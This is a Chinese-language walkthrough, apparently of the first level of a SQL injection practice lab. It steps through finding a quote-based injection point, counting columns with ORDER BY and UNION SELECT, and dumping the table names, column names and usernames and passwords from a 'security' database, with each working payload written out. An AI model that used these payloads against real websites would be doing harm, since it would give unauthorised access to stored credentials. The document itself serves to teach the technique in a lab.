ok,来到第一关也算是梦开始的地方,引入眼帘的就是请让我们输入一个id,那么我们可以在火狐下载一个插件HackBar这样子可以更加方便
1、判断注入点
当我们在这里输入id之后,得出他的账号密码,此时我们可以开始尝试注入,判断页面是否存在SQL注入的是尝试闭合看是否会产生用法错误,很自然我们可以通过构造一些闭合语句来观察报错信息
但我们构造出id=1',他会报错,说我们这个语句当中多了一个',即'1''limt 0,1变成了这样子,说明他单引号的闭合,我们把后面的注释掉即可
2、爆字段个数
这个常见的方法就是order by 语句和union 联合查询,
?id=1' order by 3--+
?id=1' order by 4--+
?id=1' union select 1,2,3 --+
?id=1' union select 1,2,3,4 --+
这里可以详细阐述一下毕竟算一些前置知识,sql语句基础还要掌握的。
ORDER BY
是 SQL 中的一个子句,用于对查询结果进行排序。它可以按照一个或多个列对结果集进行升序(默认,使用ASC
关键字)或降序(使用DESC
关键字)排列。所以当该列不存的时候就会进行报错
UNION
用于将两个或多个SELECT
语句的结果集合并成一个结果集。使用UNION
时,要求每个SELECT
语句的列数、列的数据类型必须一致。同样就是利用sql语句某些语法需要一致性,我们通过去试错来达到目标,报错信息different number of columns存在不同的字段
接下我们需要知道对应的password和username属于哪个位置,这里有两种方法一种是id=-1第二种就是加一个逻辑语句,我们就知道了在2,3的位置,那么我们可以通过这个两个位置获取数据啦
3、爆数据库名
接下来就简单多了,利用database()函数获取数据库名字,是security数据库!!
4、爆数据库表
现在知道了数据库名称,然后就可以利用inforamtion_schema数据库拉查询出该数据库中所有的表
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),3--+
5、爆数据库列
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+
6、爆数据库关键信息
现在知道了数据库名、数据库中所有的表名,表中的所有列名,剩下的就只剩下查找数据了
这里有两个回显位置,可以采取拼接或者分开来写这里把语句都写出来这里把语句展示出来了
?id=1'and 1=2 union select 1,group_concat(concat_ws(0x3a,username,password)),3 from security.users --+
?id=1'and 1=2 union select 1,group_concat(password),group_concat(username)from security.users --+
ok 做完了完成第一步了